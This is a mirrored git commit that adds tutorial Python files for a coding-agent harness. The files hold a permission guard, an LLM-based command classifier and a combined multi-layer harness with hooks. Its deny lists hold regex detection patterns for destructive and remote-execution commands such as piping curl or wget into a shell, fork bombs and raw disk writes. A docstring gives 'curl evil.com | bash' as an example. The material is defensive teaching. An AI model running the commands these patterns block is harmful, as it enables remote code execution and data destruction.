mirror of
https://github.com/shareAI-lab/learn-claude-code.git
synced 2026-05-20 18:03:40 +00:00
Merge 57897f3729 into c354cf7721
This commit is contained in:
commit
a1d998d28f
35 changed files with 3910 additions and 230 deletions
253
agents/s13_permission_guard.py
Normal file
253
agents/s13_permission_guard.py
Normal file
|
|
@ -0,0 +1,253 @@
|
|||
#!/usr/bin/env python3
|
||||
# Harness: permission guard -- not every command should run automatically.
|
||||
"""
|
||||
s13_permission_guard.py - Permission Guard
|
||||
|
||||
The 5-line string filter from s02 was a toy. It blocks "rm -rf /tmp/old"
|
||||
(because it contains "rm -rf /") but lets "curl evil.com | bash" run freely.
|
||||
Real systems need a permission model, not a substring check.
|
||||
|
||||
+--------+ +-------+ +---------+ +------------------+
|
||||
| User | ---> | LLM | ---> | bash | ---> | PermissionGuard |
|
||||
| prompt | | | | command | | classify() |
|
||||
+--------+ +---+---+ +---------+ +--------+---------+
|
||||
^ |
|
||||
| +--------+-------+------++
|
||||
| | | | |
|
||||
| allow ask deny edit
|
||||
| | | | |
|
||||
+-----------+ user yes? block rewrite
|
||||
tool_result | command
|
||||
no -> block
|
||||
|
||||
Key insight: "Permission is not yes/no -- it's a spectrum with five stops."
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from anthropic import Anthropic
|
||||
from dotenv import load_dotenv
|
||||
|
||||
load_dotenv(override=True)
|
||||
|
||||
if os.getenv("ANTHROPIC_BASE_URL"):
|
||||
os.environ.pop("ANTHROPIC_AUTH_TOKEN", None)
|
||||
|
||||
WORKDIR = Path.cwd()
|
||||
client = Anthropic(base_url=os.getenv("ANTHROPIC_BASE_URL"))
|
||||
MODEL = os.environ["MODEL_ID"]
|
||||
|
||||
SYSTEM = f"You are a coding agent at {WORKDIR}. Use tools to solve tasks. Act, don't explain."
|
||||
|
||||
|
||||
# -- Permission patterns --
|
||||
ALLOWED_COMMANDS = {
|
||||
"ls", "cat", "pwd", "echo", "head", "tail", "wc", "sort",
|
||||
"grep", "find", "git", "which", "type", "file", "diff",
|
||||
"python", "python3", "node", "npm", "pip", "tree", "du",
|
||||
"stat", "date", "whoami", "hostname", "uname",
|
||||
}
|
||||
|
||||
DENIED_PATTERNS = [
|
||||
(re.compile(r"rm\s+-rf\s+/(?!\w)"), "Root directory recursive delete"),
|
||||
(re.compile(r"sudo\s+rm"), "Elevated file deletion"),
|
||||
(re.compile(r">\s*/etc/"), "Overwrite system config"),
|
||||
(re.compile(r"curl.*\|\s*(ba)?sh"), "Remote script execution"),
|
||||
(re.compile(r"wget.*\|\s*(ba)?sh"), "Remote script execution"),
|
||||
(re.compile(r"chmod\s+-R\s+777\s+/"), "Recursive 777 on root"),
|
||||
(re.compile(r"dd\s+.*of=/dev/"), "Raw device write"),
|
||||
(re.compile(r"mkfs\."), "Filesystem format"),
|
||||
(re.compile(r":\(\)\{.*:\|:&\}"), "Fork bomb"),
|
||||
(re.compile(r"\b(shutdown|reboot|halt|poweroff)\b"), "System shutdown"),
|
||||
]
|
||||
|
||||
ASK_PATTERNS = [
|
||||
(re.compile(r"rm\s+"), "File deletion"),
|
||||
(re.compile(r"sudo\s+"), "Elevated privileges"),
|
||||
(re.compile(r"pip\s+install"), "Package installation"),
|
||||
(re.compile(r"npm\s+install"), "Package installation"),
|
||||
(re.compile(r"git\s+push"), "Git push"),
|
||||
(re.compile(r"git\s+reset"), "Git reset"),
|
||||
(re.compile(r"docker\s+rm"), "Docker remove"),
|
||||
(re.compile(r"kill\s+"), "Process termination"),
|
||||
]
|
||||
|
||||
EDIT_REWRITE_RULES = [
|
||||
(re.compile(r"rm\s+-rf\s+(.+)"), r"rm -r \1"),
|
||||
]
|
||||
|
||||
|
||||
# -- PermissionGuard --
|
||||
class PermissionGuard:
|
||||
def __init__(self):
|
||||
self._denied = DENIED_PATTERNS
|
||||
self._ask = ASK_PATTERNS
|
||||
self._edit = EDIT_REWRITE_RULES
|
||||
|
||||
def classify(self, command: str) -> tuple[str, str]:
|
||||
"""Return (mode, reason)."""
|
||||
# 0. compound command check
|
||||
has_compound = bool(re.search(r'[;&|`]|\$\(', command))
|
||||
# 1. deny -- always check full command
|
||||
for pat, reason in self._denied:
|
||||
if pat.search(command):
|
||||
return ("deny", reason)
|
||||
# 2. whitelist (single commands only)
|
||||
base = command.split()[0] if command.split() else ""
|
||||
if base in ALLOWED_COMMANDS and not has_compound:
|
||||
return ("allow", "")
|
||||
# 3. edit
|
||||
for pat, replacement in self._edit:
|
||||
if pat.search(command):
|
||||
rewritten = pat.sub(replacement, command)
|
||||
return ("edit", rewritten)
|
||||
# 4. ask
|
||||
for pat, reason in self._ask:
|
||||
if pat.search(command):
|
||||
return ("ask", reason)
|
||||
# 5. default allow
|
||||
return ("allow", "")
|
||||
|
||||
def check(self, command: str) -> tuple[bool, str, str]:
|
||||
"""Return (allowed, command_to_run, reason)."""
|
||||
mode, info = self.classify(command)
|
||||
if mode == "deny":
|
||||
return (False, command, info)
|
||||
elif mode == "ask":
|
||||
approved = self._prompt_user(command, info)
|
||||
return (approved, command, info)
|
||||
elif mode == "edit":
|
||||
return (True, info, "Auto-rewritten")
|
||||
else:
|
||||
return (True, command, "")
|
||||
|
||||
def _prompt_user(self, command: str, reason: str) -> bool:
|
||||
print(f"\033[33m[permission:ask] {reason}\033[0m")
|
||||
print(f"\033[33m Command: {command}\033[0m")
|
||||
ans = input("\033[33m Allow? (y/n) \033[0m").strip().lower()
|
||||
return ans == "y"
|
||||
|
||||
|
||||
GUARD = PermissionGuard()
|
||||
|
||||
|
||||
# -- Tool implementations --
|
||||
def safe_path(p: str) -> Path:
|
||||
path = (WORKDIR / p).resolve()
|
||||
if not path.is_relative_to(WORKDIR):
|
||||
raise ValueError(f"Path escapes workspace: {p}")
|
||||
return path
|
||||
|
||||
|
||||
def run_bash(command: str) -> str:
|
||||
allowed, cmd, reason = GUARD.check(command)
|
||||
if not allowed:
|
||||
mode, _ = GUARD.classify(command)
|
||||
if mode == "deny":
|
||||
return f"Permission denied: {reason}"
|
||||
return f"User declined: {reason}"
|
||||
if cmd != command:
|
||||
print(f"\033[33m[permission:edit] {command} -> {cmd}\033[0m")
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, cwd=WORKDIR,
|
||||
capture_output=True, text=True, timeout=120)
|
||||
out = (r.stdout + r.stderr).strip()
|
||||
return out[:50000] if out else "(no output)"
|
||||
except subprocess.TimeoutExpired:
|
||||
return "Error: Timeout (120s)"
|
||||
|
||||
|
||||
def run_read(path: str, limit: int = None) -> str:
|
||||
try:
|
||||
lines = safe_path(path).read_text().splitlines()
|
||||
if limit and limit < len(lines):
|
||||
lines = lines[:limit] + [f"... ({len(lines) - limit} more lines)"]
|
||||
return "\n".join(lines)[:50000]
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_write(path: str, content: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
fp.parent.mkdir(parents=True, exist_ok=True)
|
||||
fp.write_text(content)
|
||||
return f"Wrote {len(content)} bytes to {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_edit(path: str, old_text: str, new_text: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
content = fp.read_text()
|
||||
if old_text not in content:
|
||||
return f"Error: Text not found in {path}"
|
||||
fp.write_text(content.replace(old_text, new_text, 1))
|
||||
return f"Edited {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
TOOL_HANDLERS = {
|
||||
"bash": lambda **kw: run_bash(kw["command"]),
|
||||
"read_file": lambda **kw: run_read(kw["path"], kw.get("limit")),
|
||||
"write_file": lambda **kw: run_write(kw["path"], kw["content"]),
|
||||
"edit_file": lambda **kw: run_edit(kw["path"], kw["old_text"], kw["new_text"]),
|
||||
}
|
||||
|
||||
TOOLS = [
|
||||
{"name": "bash", "description": "Run a shell command. Permission-checked: dangerous commands are blocked, some require confirmation.",
|
||||
"input_schema": {"type": "object", "properties": {"command": {"type": "string"}}, "required": ["command"]}},
|
||||
{"name": "read_file", "description": "Read file contents.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "limit": {"type": "integer"}}, "required": ["path"]}},
|
||||
{"name": "write_file", "description": "Write content to file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "content": {"type": "string"}}, "required": ["path", "content"]}},
|
||||
{"name": "edit_file", "description": "Replace exact text in file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "old_text": {"type": "string"}, "new_text": {"type": "string"}}, "required": ["path", "old_text", "new_text"]}},
|
||||
]
|
||||
|
||||
|
||||
def agent_loop(messages: list):
|
||||
while True:
|
||||
response = client.messages.create(
|
||||
model=MODEL, system=SYSTEM, messages=messages,
|
||||
tools=TOOLS, max_tokens=8000,
|
||||
)
|
||||
messages.append({"role": "assistant", "content": response.content})
|
||||
if response.stop_reason != "tool_use":
|
||||
return
|
||||
results = []
|
||||
for block in response.content:
|
||||
if block.type == "tool_use":
|
||||
handler = TOOL_HANDLERS.get(block.name)
|
||||
try:
|
||||
output = handler(**block.input) if handler else f"Unknown tool: {block.name}"
|
||||
except Exception as e:
|
||||
output = f"Error: {e}"
|
||||
print(f"> {block.name}:")
|
||||
print(str(output)[:200])
|
||||
results.append({"type": "tool_result", "tool_use_id": block.id, "content": str(output)})
|
||||
messages.append({"role": "user", "content": results})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
history = []
|
||||
while True:
|
||||
try:
|
||||
query = input("\033[36ms13 >> \033[0m")
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if query.strip().lower() in ("q", "exit", ""):
|
||||
break
|
||||
history.append({"role": "user", "content": query})
|
||||
agent_loop(history)
|
||||
response_content = history[-1]["content"]
|
||||
if isinstance(response_content, list):
|
||||
for block in response_content:
|
||||
if hasattr(block, "text"):
|
||||
print(block.text)
|
||||
print()
|
||||
278
agents/s14_security_classifier.py
Normal file
278
agents/s14_security_classifier.py
Normal file
|
|
@ -0,0 +1,278 @@
|
|||
#!/usr/bin/env python3
|
||||
# Harness: security classifier -- let the model judge its own commands.
|
||||
"""
|
||||
s14_security_classifier.py - Security Classifier
|
||||
|
||||
Regex patterns from s13 match shapes, not intent. rm -rf build/ and
|
||||
rm -rf / look identical to a regex. The LLM can judge context.
|
||||
|
||||
Command
|
||||
|
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 1: Quick Scan| regex patterns (zero cost)
|
||||
+--------+-----------+
|
||||
|
|
||||
matched? --yes--> deny/ask
|
||||
|
|
||||
no
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 2: LLM Class | ~10 tokens per call
|
||||
+--------+-----------+
|
||||
|
|
||||
safe / moderate / dangerous
|
||||
|
|
||||
allow / ask / deny
|
||||
|
||||
Key insight: "Regex sees patterns; the LLM sees intent."
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from anthropic import Anthropic
|
||||
from dotenv import load_dotenv
|
||||
|
||||
load_dotenv(override=True)
|
||||
|
||||
if os.getenv("ANTHROPIC_BASE_URL"):
|
||||
os.environ.pop("ANTHROPIC_AUTH_TOKEN", None)
|
||||
|
||||
WORKDIR = Path.cwd()
|
||||
client = Anthropic(base_url=os.getenv("ANTHROPIC_BASE_URL"))
|
||||
MODEL = os.environ["MODEL_ID"]
|
||||
|
||||
SYSTEM = f"You are a coding agent at {WORKDIR}. Use tools to solve tasks. Act, don't explain."
|
||||
|
||||
|
||||
# -- Layer 1: regex quick-scan patterns --
|
||||
DANGEROUS_PATTERNS = [
|
||||
(re.compile(r"rm\s+-rf\s+/(?!\w)"), "Root recursive delete"),
|
||||
(re.compile(r"sudo\s+"), "Elevated privileges"),
|
||||
(re.compile(r">\s*/etc/"), "Overwrite system config"),
|
||||
(re.compile(r"curl.*\|\s*(ba)?sh"), "Remote code execution"),
|
||||
(re.compile(r"wget.*\|\s*(ba)?sh"), "Remote code execution"),
|
||||
(re.compile(r"chmod\s+-R\s+777\s+/"), "Recursive 777"),
|
||||
(re.compile(r"dd\s+.*of=/dev/"), "Raw device write"),
|
||||
(re.compile(r"mkfs\."), "Filesystem format"),
|
||||
(re.compile(r":\(\)\{.*:\|:&\}"), "Fork bomb"),
|
||||
(re.compile(r"\b(shutdown|reboot|halt|poweroff)\b"), "System shutdown"),
|
||||
(re.compile(r"crontab\s+-r"), "Delete crontab"),
|
||||
(re.compile(r"git\s+push\s+--force"), "Force push"),
|
||||
(re.compile(r"git\s+reset\s+--hard"), "Hard reset"),
|
||||
(re.compile(r"npm\s+publish"), "Publish package"),
|
||||
(re.compile(r">\s*/dev/sd"), "Write to raw disk"),
|
||||
]
|
||||
|
||||
SAFE_COMMANDS = {
|
||||
"ls", "cat", "pwd", "echo", "head", "tail", "wc", "sort",
|
||||
"grep", "find", "git", "which", "type", "file", "diff",
|
||||
"python", "python3", "node", "npm", "pip", "tree", "du",
|
||||
"stat", "date", "whoami", "hostname", "uname", "true", "false",
|
||||
}
|
||||
|
||||
CLASSIFIER_PROMPT = """Classify this shell command's danger level.
|
||||
Reply with EXACTLY one word: safe, moderate, or dangerous.
|
||||
|
||||
- safe: read-only or non-destructive (ls, cat, git status)
|
||||
- moderate: writes files but recoverable (rm single file, pip install)
|
||||
- dangerous: irreversible or system-wide (rm -rf /, sudo, force push)
|
||||
|
||||
Command: {command}
|
||||
Context (last task): {context}"""
|
||||
|
||||
|
||||
# -- SecurityClassifier --
|
||||
class SecurityClassifier:
|
||||
def __init__(self, client, model):
|
||||
self.client = client
|
||||
self.model = model
|
||||
# Note: s13 had an "edit" mode that rewrites commands (e.g. rm -rf -> rm -r).
|
||||
# s14 replaces this with LLM classification: the model judges intent instead
|
||||
# of mechanically rewriting patterns. "moderate" -> ask the user.
|
||||
|
||||
def quick_scan(self, command: str) -> tuple[str, str] | None:
|
||||
"""Layer 1: regex quick-scan. Return (level, reason) or None."""
|
||||
for pat, reason in DANGEROUS_PATTERNS:
|
||||
if pat.search(command):
|
||||
return ("dangerous", reason)
|
||||
return None
|
||||
|
||||
def llm_classify(self, command: str, context: str = "") -> str:
|
||||
"""Layer 2: LLM classification. Return safe/moderate/dangerous."""
|
||||
prompt = CLASSIFIER_PROMPT.format(command=command, context=context[-300:])
|
||||
try:
|
||||
resp = self.client.messages.create(
|
||||
model=self.model,
|
||||
messages=[{"role": "user", "content": prompt}],
|
||||
max_tokens=10,
|
||||
)
|
||||
answer = resp.content[0].text.strip().lower()
|
||||
for level in ("safe", "moderate", "dangerous"):
|
||||
if level in answer:
|
||||
return level
|
||||
except Exception as e:
|
||||
print(f"[classifier:llm] fallback to moderate: {e}")
|
||||
return "moderate"
|
||||
|
||||
def classify(self, command: str, context: str = "") -> dict:
|
||||
"""Full two-layer pipeline."""
|
||||
# Layer 1
|
||||
quick = self.quick_scan(command)
|
||||
if quick:
|
||||
level, reason = quick
|
||||
return {"level": level, "mode": "deny", "reason": reason, "source": "pattern"}
|
||||
# Whitelist
|
||||
base = command.split()[0] if command.split() else ""
|
||||
has_compound = bool(re.search(r'[;&|`]|\$\(', command))
|
||||
if base in SAFE_COMMANDS and not has_compound:
|
||||
return {"level": "safe", "mode": "allow", "reason": "", "source": "whitelist"}
|
||||
# Layer 2
|
||||
level = self.llm_classify(command, context)
|
||||
mode = {"safe": "allow", "moderate": "ask", "dangerous": "deny"}[level]
|
||||
return {"level": level, "mode": mode, "reason": f"LLM: {level}", "source": "llm"}
|
||||
|
||||
|
||||
# -- PermissionGuard (upgraded with classifier) --
|
||||
class PermissionGuard:
|
||||
def __init__(self, classifier: SecurityClassifier = None):
|
||||
self.classifier = classifier
|
||||
|
||||
def check(self, command: str, context: str = "") -> tuple[bool, str, str]:
|
||||
"""Return (allowed, command_to_run, reason)."""
|
||||
result = self.classifier.classify(command, context)
|
||||
mode = result["mode"]
|
||||
if mode == "deny":
|
||||
return (False, command, result["reason"])
|
||||
elif mode == "ask":
|
||||
approved = self._prompt_user(command, result["reason"])
|
||||
return (approved, command, result["reason"])
|
||||
else:
|
||||
return (True, command, "")
|
||||
|
||||
def _prompt_user(self, command: str, reason: str) -> bool:
|
||||
print(f"\033[33m[security:{reason}]\033[0m")
|
||||
print(f"\033[33m Command: {command}\033[0m")
|
||||
ans = input("\033[33m Allow? (y/n) \033[0m").strip().lower()
|
||||
return ans == "y"
|
||||
|
||||
|
||||
CLASSIFIER = SecurityClassifier(client, MODEL)
|
||||
GUARD = PermissionGuard(classifier=CLASSIFIER)
|
||||
|
||||
|
||||
# -- Tool implementations --
|
||||
def safe_path(p: str) -> Path:
|
||||
path = (WORKDIR / p).resolve()
|
||||
if not path.is_relative_to(WORKDIR):
|
||||
raise ValueError(f"Path escapes workspace: {p}")
|
||||
return path
|
||||
|
||||
|
||||
def run_bash(command: str) -> str:
|
||||
allowed, cmd, reason = GUARD.check(command)
|
||||
if not allowed:
|
||||
return f"Security denied: {reason}"
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, cwd=WORKDIR,
|
||||
capture_output=True, text=True, timeout=120)
|
||||
out = (r.stdout + r.stderr).strip()
|
||||
return out[:50000] if out else "(no output)"
|
||||
except subprocess.TimeoutExpired:
|
||||
return "Error: Timeout (120s)"
|
||||
|
||||
|
||||
def run_read(path: str, limit: int = None) -> str:
|
||||
try:
|
||||
lines = safe_path(path).read_text().splitlines()
|
||||
if limit and limit < len(lines):
|
||||
lines = lines[:limit] + [f"... ({len(lines) - limit} more lines)"]
|
||||
return "\n".join(lines)[:50000]
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_write(path: str, content: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
fp.parent.mkdir(parents=True, exist_ok=True)
|
||||
fp.write_text(content)
|
||||
return f"Wrote {len(content)} bytes to {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_edit(path: str, old_text: str, new_text: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
content = fp.read_text()
|
||||
if old_text not in content:
|
||||
return f"Error: Text not found in {path}"
|
||||
fp.write_text(content.replace(old_text, new_text, 1))
|
||||
return f"Edited {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
TOOL_HANDLERS = {
|
||||
"bash": lambda **kw: run_bash(kw["command"]),
|
||||
"read_file": lambda **kw: run_read(kw["path"], kw.get("limit")),
|
||||
"write_file": lambda **kw: run_write(kw["path"], kw["content"]),
|
||||
"edit_file": lambda **kw: run_edit(kw["path"], kw["old_text"], kw["new_text"]),
|
||||
}
|
||||
|
||||
TOOLS = [
|
||||
{"name": "bash", "description": "Run a shell command. Two-layer security: regex quick-scan + LLM intent classification.",
|
||||
"input_schema": {"type": "object", "properties": {"command": {"type": "string"}}, "required": ["command"]}},
|
||||
{"name": "read_file", "description": "Read file contents.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "limit": {"type": "integer"}}, "required": ["path"]}},
|
||||
{"name": "write_file", "description": "Write content to file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "content": {"type": "string"}}, "required": ["path", "content"]}},
|
||||
{"name": "edit_file", "description": "Replace exact text in file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "old_text": {"type": "string"}, "new_text": {"type": "string"}}, "required": ["path", "old_text", "new_text"]}},
|
||||
]
|
||||
|
||||
|
||||
def agent_loop(messages: list):
|
||||
while True:
|
||||
response = client.messages.create(
|
||||
model=MODEL, system=SYSTEM, messages=messages,
|
||||
tools=TOOLS, max_tokens=8000,
|
||||
)
|
||||
messages.append({"role": "assistant", "content": response.content})
|
||||
if response.stop_reason != "tool_use":
|
||||
return
|
||||
results = []
|
||||
for block in response.content:
|
||||
if block.type == "tool_use":
|
||||
handler = TOOL_HANDLERS.get(block.name)
|
||||
try:
|
||||
output = handler(**block.input) if handler else f"Unknown tool: {block.name}"
|
||||
except Exception as e:
|
||||
output = f"Error: {e}"
|
||||
print(f"> {block.name}:")
|
||||
print(str(output)[:200])
|
||||
results.append({"type": "tool_result", "tool_use_id": block.id, "content": str(output)})
|
||||
messages.append({"role": "user", "content": results})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
history = []
|
||||
while True:
|
||||
try:
|
||||
query = input("\033[36ms14 >> \033[0m")
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if query.strip().lower() in ("q", "exit", ""):
|
||||
break
|
||||
history.append({"role": "user", "content": query})
|
||||
agent_loop(history)
|
||||
response_content = history[-1]["content"]
|
||||
if isinstance(response_content, list):
|
||||
for block in response_content:
|
||||
if hasattr(block, "text"):
|
||||
print(block.text)
|
||||
print()
|
||||
573
agents/s17_secure_extension_harness.py
Normal file
573
agents/s17_secure_extension_harness.py
Normal file
|
|
@ -0,0 +1,573 @@
|
|||
#!/usr/bin/env python3
|
||||
# Harness: secure extension -- five layers of defense, one loop.
|
||||
"""
|
||||
s17_secure_extension_harness.py - Secure Extension Harness
|
||||
|
||||
s13-s16 each run as a standalone agent. Real systems need all layers
|
||||
working together inside a single execution pipeline.
|
||||
|
||||
LLM calls tool
|
||||
|
|
||||
v
|
||||
+---------------------+
|
||||
| [1] Pre-tool Hook | --block--> return error
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [2] Classifier | --deny---> return error
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [3] Permission | --deny---> return error
|
||||
| | --ask---> user confirm?
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [4] Execute | built-in handler or MCP
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [5] Post-tool Hook | observe / log
|
||||
+----------+----------+
|
||||
|
|
||||
v
|
||||
return result
|
||||
|
||||
Key insight: "Production harnesses aren't about more features -- they're
|
||||
about clear responsibilities at every layer."
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from anthropic import Anthropic
|
||||
from dotenv import load_dotenv
|
||||
|
||||
load_dotenv(override=True)
|
||||
|
||||
if os.getenv("ANTHROPIC_BASE_URL"):
|
||||
os.environ.pop("ANTHROPIC_AUTH_TOKEN", None)
|
||||
|
||||
WORKDIR = Path.cwd()
|
||||
client = Anthropic(base_url=os.getenv("ANTHROPIC_BASE_URL"))
|
||||
MODEL = os.environ["MODEL_ID"]
|
||||
|
||||
SYSTEM = f"""You are a coding agent at {WORKDIR}.
|
||||
Use tools to solve tasks. The harness enforces security:
|
||||
dangerous commands are blocked, some require your confirmation.
|
||||
MCP tools extend your reach beyond built-in tools. Act, don't explain."""
|
||||
|
||||
|
||||
# === SECTION: security_classifier (s14) ===
|
||||
|
||||
DANGEROUS_PATTERNS = [
|
||||
(re.compile(r"rm\s+-rf\s+/(?!\w)"), "Root recursive delete"),
|
||||
(re.compile(r"sudo\s+"), "Elevated privileges"),
|
||||
(re.compile(r">\s*/etc/"), "Overwrite system config"),
|
||||
(re.compile(r"curl.*\|\s*(ba)?sh"), "Remote code execution"),
|
||||
(re.compile(r"wget.*\|\s*(ba)?sh"), "Remote code execution"),
|
||||
(re.compile(r"chmod\s+-R\s+777\s+/"), "Recursive 777"),
|
||||
(re.compile(r"dd\s+.*of=/dev/"), "Raw device write"),
|
||||
(re.compile(r"mkfs\."), "Filesystem format"),
|
||||
(re.compile(r":\(\)\{.*:\|:&\}"), "Fork bomb"),
|
||||
(re.compile(r"\b(shutdown|reboot|halt|poweroff)\b"), "System shutdown"),
|
||||
(re.compile(r"crontab\s+-r"), "Delete crontab"),
|
||||
(re.compile(r"git\s+push\s+--force"), "Force push"),
|
||||
(re.compile(r"git\s+reset\s+--hard"), "Hard reset"),
|
||||
(re.compile(r"npm\s+publish"), "Publish package"),
|
||||
(re.compile(r">\s*/dev/sd"), "Write to raw disk"),
|
||||
]
|
||||
|
||||
SAFE_COMMANDS = {
|
||||
"ls", "cat", "pwd", "echo", "head", "tail", "wc", "sort",
|
||||
"grep", "find", "git", "which", "type", "file", "diff",
|
||||
"python", "python3", "node", "npm", "pip", "tree", "du",
|
||||
"stat", "date", "whoami", "hostname", "uname", "true", "false",
|
||||
}
|
||||
|
||||
CLASSIFIER_PROMPT = """Classify this shell command's danger level.
|
||||
Reply with EXACTLY one word: safe, moderate, or dangerous.
|
||||
|
||||
- safe: read-only or non-destructive (ls, cat, git status)
|
||||
- moderate: writes files but recoverable (rm single file, pip install)
|
||||
- dangerous: irreversible or system-wide (rm -rf /, sudo, force push)
|
||||
|
||||
Command: {command}
|
||||
Context: {context}"""
|
||||
|
||||
|
||||
class SecurityClassifier:
|
||||
def __init__(self, client, model):
|
||||
self.client = client
|
||||
self.model = model
|
||||
|
||||
def quick_scan(self, command: str) -> tuple[str, str] | None:
|
||||
for pat, reason in DANGEROUS_PATTERNS:
|
||||
if pat.search(command):
|
||||
return ("dangerous", reason)
|
||||
return None
|
||||
|
||||
def llm_classify(self, command: str, context: str = "") -> str:
|
||||
prompt = CLASSIFIER_PROMPT.format(command=command, context=context[-300:])
|
||||
try:
|
||||
resp = self.client.messages.create(
|
||||
model=self.model,
|
||||
messages=[{"role": "user", "content": prompt}],
|
||||
max_tokens=10,
|
||||
)
|
||||
answer = resp.content[0].text.strip().lower()
|
||||
for level in ("safe", "moderate", "dangerous"):
|
||||
if level in answer:
|
||||
return level
|
||||
except Exception as e:
|
||||
print(f"[classifier:llm] fallback to moderate: {e}")
|
||||
return "moderate"
|
||||
|
||||
def classify(self, command: str, context: str = "") -> dict:
|
||||
quick = self.quick_scan(command)
|
||||
if quick:
|
||||
level, reason = quick
|
||||
return {"level": level, "mode": "deny", "reason": reason, "source": "pattern"}
|
||||
base = command.split()[0] if command.split() else ""
|
||||
has_compound = bool(re.search(r'[;&|`]|\$\(', command))
|
||||
if base in SAFE_COMMANDS and not has_compound:
|
||||
return {"level": "safe", "mode": "allow", "reason": "", "source": "whitelist"}
|
||||
level = self.llm_classify(command, context)
|
||||
mode = {"safe": "allow", "moderate": "ask", "dangerous": "deny"}[level]
|
||||
return {"level": level, "mode": mode, "reason": f"LLM: {level}", "source": "llm"}
|
||||
|
||||
|
||||
# === SECTION: permission_guard (s13) ===
|
||||
|
||||
class PermissionGuard:
|
||||
def __init__(self, classifier: SecurityClassifier):
|
||||
self.classifier = classifier
|
||||
|
||||
def check(self, command: str, context: str = "") -> tuple[bool, str, str]:
|
||||
result = self.classifier.classify(command, context)
|
||||
mode = result["mode"]
|
||||
if mode == "deny":
|
||||
return (False, command, result["reason"])
|
||||
elif mode == "ask":
|
||||
approved = self._prompt_user(command, result["reason"])
|
||||
return (approved, command, result["reason"])
|
||||
else:
|
||||
return (True, command, "")
|
||||
|
||||
def _prompt_user(self, command: str, reason: str) -> bool:
|
||||
print(f"\033[33m[security:{reason}]\033[0m")
|
||||
print(f"\033[33m Command: {command}\033[0m")
|
||||
ans = input("\033[33m Allow? (y/n) \033[0m").strip().lower()
|
||||
return ans == "y"
|
||||
|
||||
|
||||
# === SECTION: hooks (s15) ===
|
||||
|
||||
HOOK_EVENTS = (
|
||||
"PreToolUse", "PostToolUse", "PreBash", "PostBash",
|
||||
"AgentStart", "AgentStop", "OnError", "OnCompact",
|
||||
)
|
||||
HOOKS_DIR = WORKDIR / ".hooks"
|
||||
|
||||
|
||||
class HookManager:
|
||||
def __init__(self):
|
||||
self._hooks: dict[str, list] = {e: [] for e in HOOK_EVENTS}
|
||||
HOOKS_DIR.mkdir(exist_ok=True)
|
||||
self._load_defaults()
|
||||
|
||||
def _load_defaults(self):
|
||||
self.register("PreBash", "observe", self._audit_log,
|
||||
"bash_audit_log", "Log all bash commands")
|
||||
self.register("PostToolUse", "observe", self._auto_git_add,
|
||||
"auto_git_add", "Auto git add after write/edit",
|
||||
tool_filter="write_file")
|
||||
|
||||
def register(self, event: str, mode: str, handler, name: str,
|
||||
description: str = "", tool_filter: str = None):
|
||||
self._hooks[event].append({
|
||||
"event": event, "mode": mode, "handler": handler,
|
||||
"name": name, "description": description, "tool_filter": tool_filter,
|
||||
})
|
||||
|
||||
def fire(self, event: str, context: dict) -> dict | None:
|
||||
for hook in self._hooks.get(event, []):
|
||||
if hook["tool_filter"] and context.get("tool") != hook["tool_filter"]:
|
||||
continue
|
||||
result = hook["handler"](context)
|
||||
if result is None:
|
||||
continue
|
||||
if isinstance(result, str):
|
||||
return {"action": "block", "reason": result, "hook": hook["name"]}
|
||||
if isinstance(result, dict) and result.get("action") == "block":
|
||||
return result
|
||||
return None
|
||||
|
||||
def list_hooks(self) -> str:
|
||||
lines = []
|
||||
for event in HOOK_EVENTS:
|
||||
for h in self._hooks[event]:
|
||||
lines.append(f" {event:15} [{h['mode']:7}] {h['name']}: {h['description']}")
|
||||
return "\n".join(lines)
|
||||
|
||||
def _audit_log(self, context: dict):
|
||||
log_file = HOOKS_DIR / "audit.jsonl"
|
||||
entry = {"timestamp": time.time(),
|
||||
"tool": context.get("tool"),
|
||||
"command": context.get("input", {}).get("command")}
|
||||
with log_file.open("a") as f:
|
||||
f.write(json.dumps(entry) + "\n")
|
||||
|
||||
def _auto_git_add(self, context: dict):
|
||||
path = context.get("input", {}).get("path", "")
|
||||
if path:
|
||||
subprocess.run(["git", "add", path], cwd=WORKDIR,
|
||||
capture_output=True, text=True)
|
||||
|
||||
|
||||
# === SECTION: mcp (s16) ===
